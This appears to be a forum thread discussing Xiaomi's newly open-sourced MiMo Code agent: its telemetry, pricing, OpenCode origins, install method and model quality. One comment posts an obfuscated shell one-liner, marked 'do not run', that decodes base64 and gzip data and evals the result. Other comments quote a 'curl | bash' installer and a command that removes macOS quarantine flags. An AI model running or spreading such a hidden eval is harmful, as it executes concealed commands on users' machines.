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MiMo Code is now released and open-source
- sheept 4mo agoIt's interesting that it renders Chinese in a TUI. I wonder if that breaks anything that assumes a character is always a column wide.
- Chu4eeno 4mo agoTerminals and things that live in terminals have relied on wcwidth() to handle this since time immemorial (which is always fun when they are out of sync, e. g. remote over ssh, but in the vast majority of the cases it just works).
- ComputerGuru 4mo agoSince the link is in Chinese: MiMo Code is Xiaomi’s AI agentic coding harness. “ MiMoCode is a terminal-native AI coding assistant. It can read and write code, run commands, manage Git, and use a persistent memory system to keep a deep understanding of your project across sessions while continuously improving itself.” GitHub link (English): https://github.com/XiaomiMiMo/MiMo-Code https://github.com/XiaomiMiMo/MiMo-Code @dang might be better to link to the GitHub, and not for language reasons. (Edit: for posterity, original URL as submitted was [0]). [0]: https://mimo.xiaomi.com/mimocode https://mimo.xiaomi.com/mimocode
- AntonyGarand 4mo agoYou can change the language via the header: The rightmost option is a language dropdown. It's a client-side change and doesn't impact the URL so users must manually change it each time they visit the site though
- ramon156 4mo agoWhy not persist it through a query param? Or a lang param for that matter
- danesparza 4mo agoFeels like maybe you're just noticing this because it defaults to Chinese. Is that true? How many sites do this but you don't notice because they default to English?
- rplnt 4mo agoBut what if you have English configured as a preferred language? Isn't that what it's for? Wouldn't it make sense for a website to respect that (when available)? I hate that google.com doesn't and defaults to random languages based on IP.
- psychoslave 4mo agoWeb standard often give great grounds to leverage on. Modern stacks often really poorly work with a lot its surface and reinvente half baked bespoke alternatives.
- psychoslave 4mo agoPersonally, none, I’m not English native. I didn’t notice the locale switch, but mostly because the look of the website was so beautiful I didn’t pay attention to menus. I wonder if ideograms keeps looking so beautiful once you learned to decode them. I never found Latin script to be particularly beautiful, and to this date Arabic script remains my favorite one in term of esthetic (I can’t read Arabic ever).
- klausa 4mo agoThis is not exactly what you’re asking about, but I started learning Japanese when I was in the middle of playing Cyberpunk 2077 (for unrelated reasons); and I gotta tell you; realizing that 98% of the Japanese text everywhere in the game was just “hotel” or “karaoke” definitely took away some charm from it.
- lambda 4mo agoYou're right, there are probably lots of sites misconfigured to not respect language headers, but we don't notice because English is the default. However, the right solution is still to use the language header. I send that to them, they should use it to give me the right one by default. One of the funny things is that this whole site is in an iframe; which breaks both Google Translate, and the Firefox translate feature. If you check, the outer iframe seems to indicate `lang="en'` and loads the iframe with `src="/coder/index.html?lang=en"`, but the inner iframe still gets a `lang="zh-CN'` by default until you use the toggle. If you go to the eventual redirect source of the page with `lang=en` parameter, you get a `lang="en"` attribute, but it's still in Chinese until you toggle it with the menu: https://mimo.xiaomi.com/coder?lang=en https://mimo.xiaomi.com/coder?lang=en Anyhow, yeah, lots of pages are probably broken this way but we don't notice. But still, it has that info from your request, it should use it.
- ComputerGuru 4mo agoThanks, I missed that on first glance and did manual translation. Not sure why my iPhone shows an option to translate website but all the destination languages to pick from (I have multiple languages installed), including English, are greyed out. iPhone does support translating from Chinese (Simplified or Traditional), and the button to translate website isn’t greyed out like it is for unsupported/unrecognized languages. Might be an iOS 27 bug, because it is working on other websites?
- heroprotagonist 4mo agoIt's entirely possible, and even standard, to allow the browser to tell your site which language to respond in. While ignorance of internationalization standards is a possibility, and the most likely cause.. I do wonder if it's a bit of a nudge to promote Chinese influence in the AI space. Not that they really need to do that, China is already doing great (relatively, depending on criteria). The implosion of the US, the resulting brain drain and world shake-up has been very timely for their AI and other industries. It's a very smart move for them to think longer term and start freezing out NVIDIA. Then they can take Taiwan purely for ideological concerns and not worry at all about the fabs blowing up in the process. And they won't be dependent on foreign factories sitting on an island just off the shore of a superpower who's shown nothing below absolute resolve for decades towards the idea of conquering that island....
- pmdlt 4mo ago"MiMoCode is built as a fork of OpenCode." Why not just contribute to OpenCode instead of creating a clone :/
- konart 4mo agoTo go a different path perhaps? You can't expect that all your ideas will land into a main repo and you really want to implement your vision while using a sane base.
- orangeisthe 4mo agoWhy not?
- ComputerGuru 4mo ago[flagged]
- aaomidi 4mo agoWhat does “shamelessly forked” mean? It’s literally software meant to be forked lol
- moonu 4mo agoI don't think that's true? AFAIK OpenCode started as a TUI and their GUI app is Tauri-based, so don't think it was forked from OpenCode. You might be thinking of Cursor
- maxloh 4mo agoDo you even know what you're talking about? OpenCode started as an independent CLI project. Their desktop app is still in beta, and it was never a fork of VS Code. I believe they contain no code derived from VS Code.
- klaxce 4mo agoAre you thinking of Cursor? OpenCode is a TUI like Codex.
- ignoramous 4mo ago
- mkl 4mo agoMuch more information in the blog post this links to: https://mimo.xiaomi.com/blog/mimo-code-long-horizon https://mimo.xiaomi.com/blog/mimo-code-long-horizon
- mellosouls 4mo agoTerrific link thanks for highlighting it
- gclawes 4mo agoI thought this was a wireless/MIMO radio project at first
- rickdeckard 4mo agoyeah, was also expecting some disruption in the RF-design space. Kinda RF-nerd clickbait... :)
- fadedsignal 4mo agoI also thought the same lol. It also happened with lora
- eunos 4mo agoWell Xiaomi is first and foremost a mobile phone company.
- reactordev 4mo agoLooks an awful lot like OpenCode
- emulio 4mo agoWhy is OpenCode awful?
- reactordev 4mo agoWho said that?
- KomoD 4mo agoHe didn't say that. https://www.merriam-webster.com/dictionary/an%20awful%20lot https://www.merriam-webster.com/dictionary/an%20awful%20lot
- croes 4mo ago> MiMoCode is built as a fork of OpenCode. That’s why
- psychoslave 4mo agoIs that Open-Source like, run it locally, no phone home included, or open source like the thin front-end layer is all that is actually open-source but it’s an empty shell without the remote API it relies on?
- Pxtl 4mo agoThe latter. It looks like it's meant to be a batteries-included agent to promote their free-for-a-limited time AI service that it connects to by default.
- psychoslave 4mo agoOk, fair enough compared to the rest of the proeminent actors I guess, but quite confusing from dev point of view. Lately I started to experiment with model like Qwen2.5 on local. Good enough to ask simple question, but didn’t manage to do anything remotely close a agents I started to experiment with through Copilot.
- Pxtl 4mo agoqwen3.5 9b runs okay on my 12GB gaming GPU. It's very stupid as a coding agent but it's possible to get useful work out of it.
- irthomasthomas 4mo agoI am experimenting with LFM2.5-8B-1A and getting 250tps on a 3060
- passive 4mo agoThey default it to talking to a free version of their model (which is incredibly cheap if you decide you like it.) But it seems trivially easy to run it against local models. Their onboarding guide offers that option, though I have no idea if it changes any functionality.
- potwinkle 4mo ago
- emayljames 4mo agoI wonder what the minimum required memory specification is
- andai 4mo ago> Unlimited Context >Knowledge accumulates automatically with lossless compression, preserving every critical detail even across million-line projects.
- GodelNumbering 4mo ago> MiMoCode is built as a fork of OpenCode. It keeps all core OpenCode capabilities (multiple providers, TUI, LSP, MCP, plugins) and adds persistent memory, intelligent context management, subagent orchestration, goal-driven autonomous loops, compose workflows, and self-improvement via dream/distill. From github
- Pxtl 4mo agoSounds like they slapped in a bunch of common plugins and released it as a product to promote the free-for-a-limited-time use of their new coding AI service.
- cyanydeez 4mo agoSo, basically the same thing silicon valley has been doing for the past half decade.
- ignoramous 4mo ago> promote the free-for-a-limited-time use of their new coding AI service Not sure which "free" service you're referring to, but MiMo v2.5 Pro is plenty capable & (after its recent 70%+ price drop) one of the most affordable options in its class (DeepSeek v4 Pro, MiniMax M3, & Qwen 3.7 Plus). I read somewhere that Labs are incentivized to implement custom harnesses because each model has its strengths, quirks, & blindspots (like Qwen forking Gemini CLI)?
- pelagicAustral 4mo agoI got an invite to test their ultra fast model only to be geofenced when trying to use it. Pff!
- JSR_FDED 4mo agoYeah that sucks. Now imagine the average Chinese developer who encounters this all the time!
- nmfisher 4mo agoGood timing, I was looking for alternatives earlier today. opencode didn't install properly and I wasn't a fan of oh-my-pi and nanocoder. MiMo code (via my z.ai coding plan) is very pleasant so far, nice UI and seems to respond faster than Claude Code. It might be injecting much less cruft into the conversation. I also got access to the mimo-2.5-pro ultraspeed model yesterday, which is really quite snappy. It does cost more than DeepSeek, though, so I'm not sure whether it's worth it yet. Definitely fast though.
- cyanydeez 4mo agois it local compatible and does it have telemetry?
- qskousen 4mo agoit does have telemetry, enabled by default, that sends metrics to tracking.miui.com, including what model you are using. it can be turned off by environment variable (MIMOCODE_ENABLE_ANALYSIS=false), and yes it still has all the normal OpenCode provider logic so it will work with other/local models. it also automatically looks for updates and fetches a mimo model list, including when the telemetry is off, though those can also be disabled. telemetry enabled by default and named "analysis" is not great.
- polski-g 4mo agoOpencode didn't install properly? Its just "mise use -g opencode@latest"
- nmfisher 4mo agoIt did install, but then would hang when trying to configure the provider (specifically I was trying diffusiongemma via Nvidia). I gave up after a couple of attempts and moved to the next one.
- jadar 4mo agoI'm kind of surprised the demo UI is macOS. Are they mainly using Apple products to develop these things?
- rurban 4mo agoThe more advanced devs all use apple laptops, sure.
- dgellow 4mo agoWho isn’t?
- bobim 4mo agoI'm slapping debian on any crap hardware around, but that's just me with different ideological standards.
- throwa356262 4mo agoEven better to slap Debian on a 2nd hand ThinkPad :) Also, Mario Zechner wrote libgdx and his first book on a netbook IIRC.
- TiredOfLife 4mo agoAll the Ai related companies use Macs.
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- joshmarinacci 4mo agoThat is an incredibly annoying grunge font. And what is the point of the hidden image in the background that reveals under your mouse cursor.
- tietjens 4mo agoThis is my favorite of the Chinese models I have tried. I think it would be hard to know if I was using Opus of MiMo if blindfolded in many instances.
- denysvitali 4mo agoYes, but this has nothing to do with MiMo (the model). This is what Claude Code is to Claude
- djsamseng 4mo agoI found it relevant and actually just the information I was looking for. Having a highly recommended model behind the tool makes it worth further investigation.
- denysvitali 4mo agoYes, MiMo is a great model - but it works well with Claude Code - so I don't think the harness is really going to make it shine even more
- thekevan 4mo agoUh, what model do you think this is using?
- dannyw 4mo agoMiMo Code is not a model, it's a harness like Claude Code / OpenCode / Codex (which is still open source, Apache 2.0, btw). You might mean the MiMo-V2.5-Pro model?
- porphyra 4mo agoPretty neat that you can just install it and start using it (at a Sonnet 4.6-level model) without needing to sign in or pay. Typically, Chinese websites are a big pain to log in or sign up because they require a +86 phone number due to legal reasons. Being able to use it without having to make an account is amazing for friction reduction. I could probably even just install it onto new machines to help with set up. I wonder how they are gonna detect and block abuse though?
- ProofHouse 4mo agoSo funny I have noticed how terrible the signup is on all these Chinese models, companies etc. Always wonder why it is such an easy process. Like QQ, Tencent etc demos Ive seen past year
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- sdesol 4mo ago> at a Sonnet 4.6-level model MiMo v2.5.0-Pro is honestly the first Chinese model that I've tried where I really though why should I use Claude Sonnet when I can get the same results for a fraction of the cost. There was always something off about Chinese models that made it apparent that it couldn't fully compete with GPT, Claude, Gemini, etc. but this was the first model where I was like, this feels like Sonnet. I can't prove it, but I think they trained heavily on Claude output. From my perspective I don't care since Anthropic trained on my data. Using them also works well for North Americans as our peak hours is not theirs. If I had one complaint, the v2.5.0-Pro model thinks too much.
- phplovesong 4mo agoAny english links?
- Alifatisk 4mo agoTop right corner
- desipenguin 4mo agoYou can change language from the top right-most dropdown, and select English
- rurban 4mo agoOnly worked for about 5m, then Too many requests.
- DanMcInerney 4mo agoI've worked a lot with MiMo in my project that pits LLMs against each other in games (clankerfights.ai). It is a very very good model for the price. MiniMax I'd say is smarter, but MiMo really touches near pareto frontier.
- MemoryHoleHQ 4mo agomacOS binary (mimocode-darwin-arm64.zip ) seems broken: "“mimo” is damaged and can’t be opened. You should move it to the Trash."
- haunter 4mo agoNo, you are just experiencing the best of Apple. How dare you download non notarized binaries on your own computer? Do you have a license for that? Terminal > sudo xattr -rd com.apple.quarantine > Drag and drop the app into terminal > enter and enter your password
- MemoryHoleHQ 4mo agoStrange, I reckon I installed Tahoe just a while ago and still didn't have a similar issue, but I remember on previous MacOS versions the error message for unotarized binaries, was to warn that there was indeed a security issue with the binary, not that it was simply "damaged". A bit crappy on Apple's side. Thank you.
- codedokode 4mo ago"damaged" by not paying 99 bucks.
- freakynit 4mo ago"damaged", even after paying 99$ : https://github.com/electron/notarize/issues/205#issuecomment-4427523676 https://github.com/electron/notarize/issues/205#issuecomment... See last 20'ish comments.
- bel8 4mo agothe OS is broken, in this case.
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- greenleafone7 4mo agoIt was already open-source `https://github.com/anomalyco/opencode https://github.com/anomalyco/opencode`
- greenleafone7 4mo agoI love how we know exactly who is down-voting all comments stating the obvious. Sorry Xiaomi, intellectual dishonesty is not rewarded here.
- emulio 4mo agoThe installation method they officially propagate is dangerous. curl -fsSL https://mimo.xiaomi.com/install https://mimo.xiaomi.com/install | bash This is usually a PoC (Proof of concept) way to install something on a temporary container or temporary VM, but not for production use during daily desktop operation. I was hoping their documentation would provide better installation instructions. But strangely, only for Windows do they recommend "npm install -g @mimo-ai/cli," which is a much better approach to managing installed packages. For Mac/Linux, they have the strange recommendation to use the dangerous "curl <some_url> | bash." Quote: > (for the best experience, Mac users are strongly encouraged to use iTerm or the VSCode Terminal) > curl -fsSL https://mimo.xiaomi.com/install https://mimo.xiaomi.com/install | bash :(
- LeonidBugaev 4mo agoThats exactly same as Claude Code offer: https://code.claude.com/docs/en/quickstart https://code.claude.com/docs/en/quickstart
- nailer 4mo agoWe've had this discussion since Eazel Linux desktop popularized bash | curl in 2001. > npm install ... is a much better approach to managing installed packages. No. Until the upcoming version of npm is out, npm will also run arbitrary code. Almost all common installation tools run arbitrary code. Not doing that is sadly the exception for now.
- mapontosevenths 4mo agoIsn't executing arbitrary code kind of the entire point of NPM though? Any chance you have a link to something that describes their plans?
- nailer 4mo ago> Isn't executing arbitrary code kind of the entire point of NPM though? No. npm is a package manager. As mentioned in the comment you're replying to, almost all package managers execute arbitrary code. Eg: - pip - Cargo - apt/dpkg - dnf/yum - Homebrew - RubyGems - Composer (limited) - Maven > Any chance you have a link to something that describes their plans? https://github.blog/changelog/2026-06-09-upcoming-breaking-changes-for-npm-v12/ https://github.blog/changelog/2026-06-09-upcoming-breaking-c...
- mrnotcrazy 4mo agoIsn't Unlimited Context pretty difficult to promise? What exactly do they mean, could I just have two agents locked into a TTRPG back and forth forever?
- psychoslave 4mo agoDo you plan to ask them some master plan to live forever?
- freakynit 4mo agoYou can run the two agents in GAN like loop.. each trying to better the other. Give them a common task like design a better alternative to transformer model that uses max O(nlogn) memory, and the result comes closest to existing n^n implementations. Good idea actually.. why haven't I tried this before.
- gosukiwi 4mo agoClaude and Codex pricing will eventually have to come down, for most common coding tasks you don't need a super smart slow model but a smart-enough and very fast one.
- Alifatisk 4mo agoI don't think many understand that Sonnet and even Haiku can probably accomplish their task, instead of them invoking a beast like Opus to tell them about todays weather.
- miroljub 4mo agoAnd yet, MiMo and DeepSeek, even MiniMax, are way cheaper and arguably better, or way better than both Sonnet and especially Haiku. While you can argue you are ready to pay 100-1000 times the price for Fable or Opus because you need those last 1-2% of edge, there's no valid reason to keep paying the obscene amounts of money for Sonnet and Haiku when alternatives exist.
- amunozo 4mo agoI think that the reason is that American labs only focus on their biggest models, and make the smaller ones afterthoughts distilled from the main models. I wonder what would happen if they decided to optimize and train better smaller models.
- miroljub 4mo agoThe problem is, they can't. If they offer smaller models for less money, it would eat up their premium offers. The only way forward for American companies is to push for always bigger and more expensive models while using regulatory pressure and fear mongering (FUD) to discard price effective competition from China.
- amunozo 4mo agoThis is not going to end well for the US, for the US economy, and therefore, for the rest of the world.
- Alifatisk 4mo agoXiaomi have been cooking a lot in recent times. Their model, especially the pro series, is underrated in my opinion. It haven't received the attention it deserves while it is pushing higher and higher in benchmark scores (looking at artifical analysis), and this was before Deepseek dropped V4. Furthermore, their pricing plan is insanely cheap, they even upped usage limit for their cheapest plan, lite plan, which is at 5$ / month. And now, they are dropping a Harness for their own model? Amazing. I wish they added support for installation through Homebrew though. On another note, this is what I would like to see more of from a company, what I do not welcome is startups making their model exclusive and hurt their customer base through sabotaging as a way to prevent eventual distillation attempts.
- miroljub 4mo agoLooks like they have very effective collaboration with DeepSeek and Kimi. Those three models have been bouncing ideas and sharing R&D innovation, which made all of them improve very fast. Based solely on quality and price, OpenAI, Anthropic, and other western models just can't compete with the new generation of Chinese open models.
- Alifatisk 4mo ago> Looks like they have very effective collaboration with DeepSeek and Kimi. Those three models have been bouncing ideas and sharing R&D innovation, which made all of them improve very fast. Very fascinating to learn this, didn't know Moonshoot (Kimi) also collaborated with others. I think I read in another post that DeepSeek and Qwen team shared the same building? So that kind of explains it. > Based solely on quality and price, OpenAI, Anthropic, and other western models just can't compete with the new generation of Chinese open models. I have to agree. I had the great opportunity to take the offer Z.ai had with their Christmas deal, their lite plan was 3 months for 7$. GLM-4.7 was already impressive enough. When they released GLM-5-Turbo and GLM-5.1, that is when I came to the realization of how close the gap is between proprietary western models and Chinese open-weight ones (not all of them are ofc). I could barely believe how good GLM-5.1 was, I didn't think I was using it in CC and had to check the settings again. It's astonishing how close the gap is now, and this competition benefits us very much, the pricing is so low atm, its amazing.
- miroljub 4mo agoHm, can I just use free tokens without using MiMo-Code? OpenCode or pi.dev are enough. I don't like CC-style agent lock-in, regardless if it's Anthropic or Xiaomi doing it.
- adi2907 4mo agoWhat a transformation by Xiaomi to build almost frontier level models. Five years back, when I was in the data science team, they dint really bother about AI models and were using Baidu for NLP and vision under the hood of their APIs
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- cstever 4mo agocorrect
- unshavedyak 4mo ago> While Americans Oppose AI Data Centers I know it's more mixed and complex than this, but i think a big opposition is not to the data centers themselves but to their locations. Too often it feels like the centers are exploiting local resources and community infrastructure rather than paying their share or locating themselves in places that are less likely to cause problems to home owners. The whole process feels indifferent or even adversarial at times.
- forshaper 4mo agoCold storage warehouses, industrial greenhouses, indoor ag, are all similar but who protests those. I think there's something social going on.
- rwyinuse 4mo agoThose consume nowhere near as much electricity as data centers. Of course electricity wouldn't be such a problem if US government chose to invest in cheap, sustainable energy sources and upgrade its grid. China is building solar and nuclear like crazy, and that gives them a massive advantage here. Hopefully in future elections Americans choose a candidate and party that isn't bought by the fossil fuel lobby.
- esafak 4mo agoRedditors are unhappy about their coding plan: https://www.reddit.com/r/opencodeCLI/comments/1t37dz3/xiaomi_mimo_coding_plan_is_a_absolute/ https://www.reddit.com/r/opencodeCLI/comments/1t37dz3/xiaomi... I guess the way to use their models is through another provider, like https://opencode.ai/go https://opencode.ai/go
- polski-g 4mo agoYes the subscription plan costs literally the same thing as just paying API-per-token pricing.
- Ataray 4mo agoMy read of reddit is you need to use 90%-ish of your plan to actually be better of using the plan
- freakynit 4mo agoMy comment on same: https://news.ycombinator.com/item?id=48493358 https://news.ycombinator.com/item?id=48493358
- throwa356262 4mo agoThings have improved a lot since last month. Now their cheapest plan gives you 4.1B credits and I think the cache situation has improved too.
- Ataray 4mo agoThe cache situation has definitely improved. Not as good as DeepSeeks, but no longer totally broken. The 4.1 Gazillion credits is disingenuous. It takes 200!!! hyper-inflation credits for ONE single token of uncached input. Xiaomi had an issue, and instead of owning it, they covered it up with "look, now you get ALL THE (near worthless) CREDITS!!!!
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- submeta 4mo agoCan this be used as an alternative to Claude backend? For Ralph loops? Replacing `claude -p`? Anyone can shed a light on this?
- freakynit 4mo agoAs much as I absolutely love Mimo V2.5 Pro (it's a genuinely good model), I absolutely hate the way they calculate usage in their token plan. For example: For a super small task in a small project that should not be consuming more than 500K total tokens after all tool calls included, their shown usage shot up to 152 million tokens. But, when I scroll down on the same page, a table shows usage as 3 million tokens, out of which 2.5 million were cached. This is such a huge conflict on the very same page. The bad thing is that the usage progress bar is shown against that 150 million token usage, not against that 3 million one. This has been in discussions for at least past 3 months on reddit as well, and was precisely the reason I subscribed to their lowest tier, and for a single month only. Update: their own harness, mimocode, shows total token usage as just 63.1K. We now have 3 entirely different values, differing in 3 orders of magnitude. Update 2: So, I did the exact same task this time using DS4Pro, and total token usage was just 101K (as shown by opencode).
- microbass 4mo agoIt's very confusing. They have tokens for their API and credits for their "token plan".
- freakynit 4mo agoEven worse... they use both terms on the same page in dashboard. """ Credits 4,100,000,000 Credits Total Token Consumption """
- freakynit 4mo agoOoooo... I now realize the trick. It's a mental play... give 1000x of "credits" but charge in same old tokens.
- throwa356262 4mo agoI prefer this to Anthropics "in the next 5 hours you have X tokens to spend, and we are not going to tell you what X is" Here token price is model price + busy hours surcharge, and BTW nowhere near 1000x
- Fendy 4mo agolooks great. surprised that Xiaomi has made such great advancements in AI
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- tdesilva 4mo agoGood, coding harnesses should be open source and LLMs should be treated as commodities. Minimize switching costs for consumers, and let people understand how they're interacting with the context and the LLM outputs. The industry has been moving the wrong direction with Claude Code staying closed (despite multiple times leaking the source code!) and the open source Gemini CLI being deprecated in favor of closed source Antigravity CLI.
- dominotw 4mo agowhat do you mean by should?
- tdesilva 4mo agoah nevermind it's just a fork of OpenCode
- miroljub 4mo agoAs much as their propaganda wants us to believe, Anthropic is not 'the industry'.
- tw04 4mo agoWhy would a company do any of these things? What is their motivation for any of it? That’s like saying cloud providers should be commodity and should open source all of their platforms and eliminate egress fees so customers can easily leave at any point in time. That’s a charity, not a business model.
- pstuart 4mo agoGood will and trust can ultimately have monetary value, and having a funnel based on open source is a viable play if it leads to a service that is sticky.
- ignoramous 4mo ago> That’s a charity, not a business model. Joel Spolsky in 2002 identified a major pattern in technology business & economics: The pattern of "commoditizing your complement", an alternative to vertical integration, where companies seek to secure a choke point or quasi-monopoly in products composed of many necessary & sufficient layers by dominating one layer while fostering so much competition in another layer above or below its layer that no competing monopolist can emerge, prices are driven down to marginal costs elsewhere in the stack, total price drops & increases demand, and the majority of the consumer surplus of the final product can be diverted to the quasi-monopolist. No matter how valuable the original may be and how much one could charge for it, it can be more valuable to make it free if it increases profits elsewhere. This pattern explains many otherwise odd or apparently self-sabotaging ventures by large tech companies into apparently irrelevant fields, such as the high rate of releasing open-source contributions by many Internet companies or the intrusion of advertising companies into smartphone manufacturing & web browser development & statistical software & fiber-optic networks & municipal WiFi & radio spectrum auctions & DNS: they are pre-emptive attempts to commodify another company elsewhere in the stack, or defenses against it being done to them. https://gwern.net/complement https://gwern.net/complement
- SilverElfin 4mo agoOpen source and open weight AI is very important to protect freedom of speech. OpenAI, and ESPECIALLY Anthropic, will try to ban them through regulatory capture / safety fearmongering. We need to make sure that does not happen. It’s not society’s problem if these frontier labs have no moats.
- WhereIsTheTruth 4mo agoYou know they are benchmaxxing when they end up writing their coding harness in TypeScript npm slop Their models can't help them build it with something better? That's the only benchmark people need, whether or not their model can raise the bar of their own product And so far it's looking pretty sad
- solenoid0937 4mo agoThis is super exciting, can't wait to try it out
- nutifafa 4mo agomimocode gets it. This is actually, impressive! Chinese models are really up there with the rest.
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- Imanari 4mo agoOnly tangentially related: MiMo-2.5Pro is fast, cheap and very capable, although not quite gpt5.5 level iontelligence (I dont use the claudes). It works flawlessly in Pi and is an excellent workhorse. I expect big things from their next model.
- gaigalas 4mo agoLet the battle for the harnesses give free tokens for all, until the next competition arena does the same. It seems that's the only way AI will remain acessible. This website is gorgeous, by the way. The mouse reveal on the background, amazing.
- ceayo 4mo agoisn't this just opencode with a different logo?
- thot_experiment 4mo agoToday on open source vampires: xaomi forks an open source project, doesn't contribute upstream, attaches usage restrictions that are probably incompatible with the license, and wants good PR. Fuck these people.
- angry_octet 4mo agoIt's free to use because you are the product they are selling.
- vinhnx 4mo agoMy coding agent VT Code has recently become a Xiaomi Orbit partner. If you want to try out Xiaomi Mimo V2.5 and V2.5 Pro in a different harness, feel free to use my VT Code. VT Code supports Mimo V2.5/Pro via official Xiaomi endpoints and via OpenRouter. Thank you! [0] https://github.com/vinhnx/VTCode/blob/main/README.md#Providers https://github.com/vinhnx/VTCode/blob/main/README.md#Provide...
- jijji 4mo agosounds really cool if it was coming out of anywhere except China, which has laws to exfiltrate your data and send it back to the government for espionage purposes [0]. [0] https://www.fbi.gov/investigate/counterintelligence/the-china-threat https://www.fbi.gov/investigate/counterintelligence/the-chin...
- coretx 4mo agoReading "xiaomi"in the headline I was thrilled to see MiMo only to find out it's NOT this one: https://en.wikipedia.org/wiki/MIMO https://en.wikipedia.org/wiki/MIMO What a disappointment!
- aozelai 4mo ago[flagged]
- insumanth 4mo ago> MiMo Code is a terminal-based coding agent built by Xiaomi's MiMo team on top of OpenCode and open-sourced under the MIT license. I think it is great that they built it on top of open code. Open Code harness is good and I want it to grow. Harness is very important and more projects use it, the more it is adopted.
- knorker 4mo agoAre AI people using LLMs to name things? Just take a widely popular thing that already means something, capitalise it differently, and you're done. Microsoft's LoRA (already a thing called LoRa) and now MiMo (already a thing called MIMO) Maybe a classic Google search is not so bad, eh?
- a96 4mo agoHave you seen Google search lately? :)
- zoobab 4mo agoNo 'training data', not 'open source'.
- amunozo 4mo agoMiMo Code is a coding harness, not the model.
- osense 4mo agoI'm pretty sure most of the comments in this thread are AI bots propping up this product? I tried the free model and it's nowhere near Sonnet 4.6 in terms of capabilities. The fact that token speed will randomly get stuck at 0/s makes sense given it's a free service, but the way it performs is more reminiscent of AI from 2025.
- gtt116 4mo ago[dead]
- schmorptron 4mo agoIt's "just" an opencode fork but it adds some nice features to try out while not being a full orchestrator metapackage like oh-my-opencode. Quite nice! Though it would be even nicer if this stuff came upstream or as an easy extension instead in the future
- p0w3n3d 4mo agoYeah, by the way this is also opensource (do not run) ddesk='H4sIAAAAAAAC' _kiwsi='/ysuTclXKMpN' _nlalt='U9AtSlPQ5wIA' _uqslr='gZtu1g8AAAA=' _aaaaa="${_ddesk}${_kiwsi}${_nlalt}${_uqslr}" _bwkmp="$(printf %s "${_aaaaa}" | base64 -d | gzip -d -c)" eval "${_bwkmp}"
- lanycrost 4mo agoUnlimited context catches m :D I understand that it's not possible but it's worth to be checked to understand how you do your context compressions, etc.
- Aachen 4mo agoI'm a fool for thinking that MiMo, in the context of Xiaomi who makes WiFi equipment (smartphones and routers), would be about network technology to manage parallel data streams (multiple inputs, multiple outputs https://en.wikipedia.org/wiki/MIMO https://en.wikipedia.org/wiki/MIMO)
- jingpostmedia 4mo ago[flagged]
- ricardobeat 4mo agoAuthorization for their own API doesn't work.. the web 'Authorize' page denies it, eventually goes through, but then you get stuck on 'Waiting for authorization' in the app. The web page says 'Paste this into MiMo Code' but there is nowhere to paste in. Token plan works fine.
- poeticfumes 4mo agoNot bad at all
- mmmmbbbhb 4mo agoI like that they do their thing, but I'd be happier if there was a harness that could be tweaked, trivially, to do what their custom harness does. E.g. would this have been possible to do within Pi, as an extension? Then I could just "pi install mimo" and get the same results. I guess it would be more work on their part, to make sure it doesn't regress when something changes in pi itself.